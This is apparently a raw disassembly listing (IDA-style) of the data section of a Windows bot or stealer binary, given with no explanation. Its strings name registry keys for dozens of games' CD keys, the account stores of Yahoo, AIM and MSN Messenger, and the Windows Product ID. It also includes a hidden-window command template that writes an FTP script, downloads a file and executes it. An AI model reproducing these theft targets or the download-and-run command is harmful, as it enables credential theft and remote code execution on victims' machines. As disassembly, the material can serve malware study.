aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o
align 4
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
align 10h
dd 0
aTimedOutWaitin db 'timed out waiting for connection',0
align 4
dd 0
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 4
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
align 4
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
align 4
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo
align 8
aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do
align 10h
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo
align 10h
aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo
align 10h
off_447670 dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do
; "socket open failed"
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o
align 8
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
align 10h
word_4476B0 dw 77h ; DATA XREF: sub_42F6F0+1Fr
align 4
dword_4476B4 dd 25206425h, 64hdword_4476BC dd 455A4953h, 732520h, 0dword_4476C8 dd 4D54444Dh, 732520h, 0dword_4476D4 dd 4F544E52h, 732520h, 0dword_4476E0 dd 52464E52h, 732520h, 0dword_4476EC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o
align 10h
dword_447700 dd 1 ; sub_431750+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
align 10h
dd 0
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o
align 4
aA: ; DATA XREF: sub_434D10+36o
unicode 0, <€>,0
dd 12h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 448854h, 448F30h, 448820h, 80000002h, 4487C0h
dd 448F30h, 448790h, 80000002h, 448738h, 448F30h, 448714h
dd 80000002h, 4486CCh, 448F30h, 4486B4h, 80000002h, 448670h
dd 448F30h, 448648h, 80000002h, 44860Ch, 448F30h, 4485D8h
dd 80000002h, 448578h, 448F30h, 44854Ch, 80000002h, 448528h
dd 448520h, 4484F4h, 80000002h, 4484CCh, 448520h, 4484B4h
dd 80000001h, 448484h, 448480h, 448470h, 80000002h, 448434h
dd 448F30h, 448424h, 80000002h, 4483E8h, 448F30h, 4483D4h
dd 80000002h, 44838Ch, 448F30h, 448370h, 80000002h, 44832Ch
dd 448F30h, 448310h, 80000001h, 4482E8h, 448480h, 4482D8h
dd 80000001h, 4482B0h, 448480h, 448290h, 80000002h, 448254h
dd 448250h, 448234h, 80000002h, 448210h, 448208h, 4481F0h
dd 80000001h, 4481C4h, 4481BCh, 448198h, 80000002h, 44814Ch
dd 448F30h, 448124h, 80000002h, 4480D0h, 448F30h, 448098h
dd 80000002h, 448034h, 448F30h, 448000h, 80000002h, 447FA0h
dd 448F30h, 447F84h, 80000002h, 447F3Ch, 448F30h, 447F20h
dd 80000002h, 447ED8h, 448F30h, 447EC8h, 80000002h, 447E8Ch
dd 448F30h, 447E7Ch, 80000002h, 447E40h, 448F30h, 447E18h
dd 80000002h, 447DC4h, 448F30h, 447D9Ch, 80000002h, 447D4Ch
dd 448F30h, 447D30h, 80000002h, 447D08h, 448480h, 447CF4h
dd 80000002h, 447CBCh, 448F30h, 447C8Ch, 80000002h, 447C34h
dd 448F30h, 447C18h, 80000001h, 447BC8h, 447BC0h, 447BA4h
dd 80000002h, 447B60h, 447B54h, 447B3Ch, 80000001h, 447B0Ch
dd 447B00h, 447AE0h, 80000002h, 447AA4h, 447BC0h, 447A84h
dd 80000002h, 447A48h, 447BC0h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
align 4
dd 0
dword_4488EC dd 3A6D6961h, 732520h, 0dword_4488F8 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:0043616Co
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 8
aSMainS db '%s\main\%s',0
align 8
aCodkey db 'codkey',0
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_448A2C dd 3A6E736Dh, 732520h, 0dword_448A38 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00436737o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4369E0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo
align 4
loc_448B64: ; DATA XREF: sub_4369E0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_448B6F: ; DATA XREF: sub_4369E0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_448B7B: ; DATA XREF: sub_4369E0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_448B87: ; DATA XREF: ___:004371A6o
; ___:00437400o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_448B98: ; CODE XREF: ___:00448B9Dj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_448B98
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043762Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_448C90 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o
; ___:0043F354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Fh dup(0)
byte_448F30 db 0 ; DATA XREF: sub_403530+95o
; sub_404600+200o ...
align 4
dword_448F34 dd 0 ; sub_4246D0+11o ...
dword_448F38 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4AFr ...
align 10h
dword_448F40 dd 0 ; ___:0040D415w ...
dd 8 dup(0)
dword_448F64 dd 41h dup(0) ; ___:0040D450o ...
dword_449068 dd 0 ; ___:loc_40D4A4r ...
dword_44906C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D41Fr ...
dword_449070 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D650+CAw
dword_449074 dd 0 ; sub_40D650+E3r
dd 11h dup(0)
dword_4490BC dd 0 ; sub_40FE30+47Dr
dword_4490C0 dd 0 ; sub_40FE30+515r ...
dword_4490C4 dd 0 ; sub_40FE30+655r ...
dword_4490C8 dd 0 ; sub_40FE30+B79r ...
dword_4490CC dd 0 ; sub_40FE30+74Br
dword_4490D0 dd 0 ; sub_40FE30+828r
dword_4490D4 dd 0 ; sub_40FE30+77Cr
dword_4490D8 dd 0 ; sub_40FE30+4DDr ...
dword_4490DC dd 0 ; sub_40FE30+311r
dword_4490E0 dd 0 ; sub_40FE30+34Dr ...
dword_4490E4 dd 0 ; sub_40FE30+33Dr
dword_4490E8 dd 0 ; sub_40FE30+3D2r
dword_4490EC dd 0 ; sub_40FE30+E93r
dword_4490F0 dd 0 ; sub_40FE30+1220r ...
dword_4490F4 dd 0 ; sub_411C00+4DAr
dword_4490F8 dd 0 ; sub_40FE30+683r
dword_4490FC dd 0 ; sub_40FE30+6B5r
dword_449100 dd 0 ; sub_40FE30+1252r
dd 5 dup(0)
dword_449118 dd 10h dup(0) ; ___:0040401Fo ...
db 2 dup(0)
byte_44915A db 0 ; DATA XREF: sub_409B00r sub_409B70r
align 4
db 3 dup(0)
byte_44915F db 0 ; DATA XREF: sub_40D650+10Fr
db 0
byte_449161 db 0 ; DATA XREF: sub_40DBE0r
word_449162 dw 0 ; DATA XREF: sub_40DBE0+9o
dd 44h dup(0)
db 3 dup(0)
byte_449277 db 0 ; DATA XREF: ___:00412F8Ao
; ___:0041303Fo ...
db 3 dup(0)
byte_44927B db 0 ; DATA XREF: sub_41F860:loc_41F89Dr
align 10h
dword_449280 dd 12h dup(0) ; sub_40FE30+114o
db 0
byte_4492C9 db 3 dup(0) ; DATA XREF: ___:00408B9Bo
; sub_40FE30+159o ...
dd 11h dup(0)
db 2 dup(0)
word_449312 dw 0 ; DATA XREF: ___:00408B72o
; sub_40FE30+132o
dd 6 dup(0)
word_44932C dw 0 ; DATA XREF: sub_40FE30+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44935B db 0 ; DATA XREF: ___:00408BC4o
; sub_40FE30+17Co ...
dd 12h dup(0)
dword_4493A4 dd 12h dup(0) ; sub_40FE30+F7o ...
db 0
byte_4493ED db 3 dup(0) ; DATA XREF: ___:00408AFDo
; sub_40FE30+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_44947F db 0 ; DATA XREF: ___:00408BEDo
; sub_40FE30+19Ao
dd 24h dup(0)
db 0
byte_449511 db 3 dup(0) ; DATA XREF: sub_425100+2Bo
; sub_425100+37o ...
dd 11h dup(0)
db 2 dup(0)
word_44955A dw 0 ; DATA XREF: ___:00412F5Ao
; ___:00412F79o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44964F dd 0 ; sub_41EF30+154r ...
align 4
dd 35h dup(0)
db 0
byte_449729 db 0 ; DATA XREF: sub_41BA50+18r
align 4
dd 36h dup(0)
byte_449804 db 0 ; DATA XREF: sub_40FE30+842r
align 4
dd 0Bh dup(0)
dword_449834 dd 18h dup(0) ; sub_40EE30+97o ...
db 2 dup(0)
byte_449896 db 0 ; DATA XREF: sub_404C30+258r
; sub_41D830+66Er
align 4
dd 11h dup(0)
db 3 dup(0)
byte_4498DF db 0 ; DATA XREF: sub_404C30:loc_404EA0r
; sub_41D830:loc_41DEB6r
dd 0Bh dup(0)
db 3 dup(0)
byte_44990F db 0 ; DATA XREF: sub_404C30+279o
; sub_41D830+68Fo ...
dd 12h dup(0)
dword_449958 dd 2Bh dup(0) ; sub_41EF30+630o ...
dword_449A04 dd 0 dd 11h dup(0)
db 0
dword_449A4D dd 0 align 4
dd 0D9h dup(0)
byte_449DB8 db 0 ; DATA XREF: sub_41EF30+146r
; sub_41EF30+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_44AC5E dw 0 ; DATA XREF: sub_404600+1BDo
; sub_404AD0+31o ...
db 2 dup(0)
word_44AC62 dw 0 ; DATA XREF: sub_404AD0+4o
dd 1Ch dup(0)
db 2 dup(0)
word_44ACD6 dw 0 ; DATA XREF: sub_4076B0+36o
; sub_407740+3Eo ...
dd 26h dup(0)
dword_44AD70 dd 86h dup(0) ; sub_404C30+27Eo ...
db 3 dup(0)
byte_44AF8B db 0 ; DATA XREF: sub_426930+3Bw
; sub_4269A0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_44B18B dd 0 ; sub_4269A0+4Fw ...
dword_44B18F dd 0 ; ___:0042419Dw ...
dword_44B193 dd 0 ; sub_4269A0+5Dr ...
dword_44B197 dd 0 ; sub_4269A0+8Cr ...
dword_44B19B dd 0 ; sub_4269A0+9Dr
dword_44B19F dd 0 ; ___:004241D1r ...
byte_44B1A3 db 0 ; DATA XREF: sub_426930+42w
; sub_4269A0+85w
dword_44B1A4 dd 2828h dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_446EF4o
dd 3C15h dup(0)
db 2 dup(0)
word_46429E dw 0 ; DATA XREF: Themida_:005A8827o
dd 0AF6Fh dup(0)
dword_49005C dd 0BD23h dup(0) db 0
byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o
dd 53D8h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44530Co
dd 0ECEh dup(0)
db 3 dup(0)
dword_4D7F8B dd 0 ; sub_426BD0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D8075 db 3 dup(0) ; DATA XREF: sub_404BE0+1Eo
; sub_404C30+65o ...
dd 5 dup(0)
byte_4D808C db 0 ; DATA XREF: sub_404C30+292w
; sub_404C30+4EBw
dword_4D808D dd 0 ; sub_422B40:loc_4232C4r ...
align 4
dd 0
db 0
dword_4D8099 dd 0 ; sub_404BE0+2Aw
byte_4D809D db 3 dup(0) ; DATA XREF: ___:00412FB4o
; ___:00412FD7o
dd 9 dup(0)
db 3 dup(0)
dword_4D80C7 dd 0 ; sub_428DC0:loc_428EB7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D818B db 0 ; DATA XREF: sub_426B60+16o
; sub_426B90+19o
db 3 dup(0)
byte_4D818F db 0 ; DATA XREF: sub_426A90+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D834F db 0 ; DATA XREF: ___:00408289o
; ___:0040871Ao ...
dd 8 dup(0)
dword_4D8370 dd 0 dd 51h dup(0)
db 0
byte_4D84B9 db 0 ; DATA XREF: sub_427980:loc_427A30r
; sub_427FD0:loc_428085r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D8735 dd 0 ; sub_427FD0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4E02A5 db 3 dup(0) ; DATA XREF: ___:00419F93o
; sub_41A050+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E7D8F db 0 ; DATA XREF: sub_427D50+1Do
dd 21h dup(0)
db 0
byte_4E7E15 db 3 dup(0) ; DATA XREF: ___:00419FA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E86EF db 0 ; DATA XREF: sub_427D50+2Fo
dd 1D5h dup(0)
byte_4E8E44 db 0 ; DATA XREF: sub_404C30+299w
; sub_40FE30:loc_40FE72r ...
byte_4E8E45 db 3 dup(0) ; DATA XREF: sub_404C30+235o
; sub_404C30+874o ...
dd 4 dup(0)
db 2 dup(0)
word_4E8E5A dw 0 ; DATA XREF: sub_404C30+2D4o
; ___:0040872Eo ...
dd 0Fh dup(0)
db 0
byte_4E8E99 db 0 ; DATA XREF: sub_41F860+31w
; sub_41F860+47w ...
db 0
byte_4E8E9B db 0 ; DATA XREF: sub_418450+21o
; sub_41D830+341o ...
dd 6D2Eh dup(0)
dword_504354 dd 12B6h dup(0) dword_508E2C dd 1000h dup(0) ; ___:00419B9Do ...
dword_50CE2C dd 333h dup(0) ; ___:00419BB8o ...
dword_50DAF8 dd 0 ; sub_41A110+1Br ...
dd 3 dup(0)
dword_50DB08 dd 0 ; ___:0041FB3Dw ...
dword_50DB0C dd 0 ; sub_41FA90+2Aw ...
dword_50DB10 dd 0 dword_50DB14 dd 0 ; ___:0041FB5Bw
dword_50DB18 dd 0 dword_50DB1C dd 0 ; ___:0041FB67w ...
dword_50DB20 dd 0 ; ___:0041FB6Dw ...
dword_50DB24 dd 0 ; ___:00420DA9o
dword_50DB28 dd 0 ; sub_41FA90:loc_41FAB4r ...
dword_50DB2C dd 0 ; ___:0041FB81w
dword_50DB30 dd 0 ; sub_420530+41w ...
dword_50DB34 dd 0 ; sub_420530+7Fr
dword_50DB38 dd 0 ; sub_420530+92r ...
dword_50DB3C dd 0 ; sub_420530+148r
dd 3 dup(0)
dword_50DB4C dd 0 ; ___:0041C2A5o
dword_50DB50 dd 0 ; sub_423820+5r ...
dword_50DB54 dd 0 ; ___:00423FABr ...
dd 7CEh dup(0)
dword_50FA90 dd 6 dup(0) ; ___:00423EAFo ...
dword_50FAA8 dd 196h dup(0) ; sub_423760+6Do
dword_510100 dd 0 word_510104 dw 0 ; DATA XREF: sub_424F70+A9r
align 4
word_510108 dw 0 ; DATA XREF: sub_4253C0+45r
; sub_4257F0+DAr
align 4
dword_51010C dd 0 dd 0
byte_510114 db 0 ; DATA XREF: sub_4267D0:loc_426830r
; sub_4267D0+97w
align 4
dword_510118 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427980+D9r
dword_51011C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427980+45r
dword_510120 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427980+54r ...
align 8
dword_510128 dd 80h dup(0) ; sub_427D50+129o
dword_510328 dd 0 dword_51032C dd 0 dd 1Dh dup(0)
dword_5103A4 dd 0 ; ___:0042C40Dr ...
dword_5103A8 dd 0 ; sub_42DE00:loc_42DE96r ...
dword_5103AC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ...
dword_5103B0 dd 0 dword_5103B4 dd 0 ; sub_431560r ...
dword_5103B8 dd 0 dword_5103BC dd 0 ; sub_4309A0+111w ...
dword_5103C0 dd 0 ; sub_4309A0+F6r ...
dword_5103C4 dd 0 ; ___:loc_4316A0r
dword_5103C8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ...
dd 2 dup(0)
dd 0
dd 13Ah dup(0)
dword_5108C0 dd 10h dup(0) ; sub_431470:loc_4314A0o ...
dword_510900 dd 8 dup(0) ; sub_430830+25o ...
dword_510920 dd 8 dup(0) ; sub_431980+25o ...
dword_510940 dd 8 dup(0) ; sub_432850+84o ...
dword_510960 dd 8 dup(0) ; sub_432850+8Bo ...
dword_510980 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ...
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFFFFFFFh, 192h dup(0)
dd 5 dup(3F07EB2Ah), 5 dup(5632ED9Ah), 5 dup(3932FE39h)
dd 5 dup(4143DE9Ah), 5 dup(302E31F6h), 5 dup(4F5A762Dh)
dd 5 dup(13CB9939h), 5 dup(2B81CF8Bh), 5 dup(30F1CC36h)
dd 5 dup(417E9D86h), 5 dup(4399EFE4h), 1Eh dup(0)
dd 4F5A762Dh, 10h dup(0)
dd 4399EFE4h, 59h dup(0)
dd 4143DE9Ah, 1Ch dup(0)
dd 30F1CC36h, 14h dup(0)
dd 5632ED9Ah, 52h dup(0)
dd 3F07EB2Ah, 1Bh dup(0)
dd 417E9D86h, 0Bh dup(0)
dd 13CB9939h, 0Ch dup(0)
dd 302E31F6h, 2Bh dup(0)
dd 2B81CF8Bh, 11h dup(0)
dd 3932FE39h, 0Ah dup(0)
dd 28B0000h, 28C0000h, 28D0000h
dword_511718 dd 28D1301h dd 28D1423h
dword_511720 dd 28D16BDh dd 28D1AADh, 28E0000h
dword_51172C dd 28F0000h dd 2900000h, 2900421h, 2900752h, 2900B0Eh
dword_511740 dd 2910000h ; sub_40E860+25Ar ...
dword_511744 dd 29104D5h dword_511748 dd 2910690h dd 2910898h, 2910BA1h
dword_511754 dd 2920000h ; sub_40EE30+15Er ...
dd 2920228h
dword_51175C dd 2930000h ; sub_40E860+22Cr
dd 2930D38h
dword_511764 dd 2940000h ; sub_4207E0+285r ...
dd 2950000h
dword_51176C dd 295113Ah ; sub_40E860+24Cr
dd 10h dup(0)
dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0 dd 2710000h ; sub_420530+FEr
dd 2720000h, 2730000h, 27306FFh, 2730911h, 2730C04h, 2730DC0h
dd 2740000h, 27405CDh, 2740991h, 2740C19h, 2750000h, 27506FDh
dd 2750717h, 2750A76h, 2760000h, 2760311h, 27606F5h, 276087Ah
dd 2760B92h, 2770000h, 2770527h, 2770641h, 27709C1h, 2770BA5h
dd 2780000h, 27802A8h, 27804EEh, 2780782h, 278097Ah, 2780AFEh
dd 2780C01h, 2790000h
dword_511864 dd 27907E7h dword_511868 dd 27A0000h dword_51186C dd 27A01BEh dd 7C901005h, 7C9010EDh, 27A038Bh, 27A03CCh, 27A03E7h
dd 27A0554h, 27A0BFEh, 27B0000h, 27B037Dh, 27C0000h, 27D0000h
dd 27D089Fh, 27E0000h, 27F0000h, 27F08FAh
dword_5118AC dd 27F0CAAh ; sub_40FE30+47r ...
dd 27F0D22h, 2800000h, 2800473h, 2810000h, 28110A9h, 2820000h
dd 2830000h
dword_5118CC dd 2831378h dd 28315ACh, 2831950h
dword_5118D8 dd 2831C1Ah ; sub_41B580+2Fr ...
dd 2840000h
dword_5118E0 dd 28406F3h ; sub_4203D0+2Er ...
dd 2840B3Eh, 2850000h, 2850B3Fh
dword_5118F0 dd 2860000h dd 28602C4h, 2870000h, 2880000h, 2881090h, 2881BAFh, 2890000h
dd 2890611h, 2890ADFh
dd 28A0000h
dword_511918 dd 28A03E1h ; sub_420530:loc_42057Cr ...
dd 1Ah dup(0)
dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0)
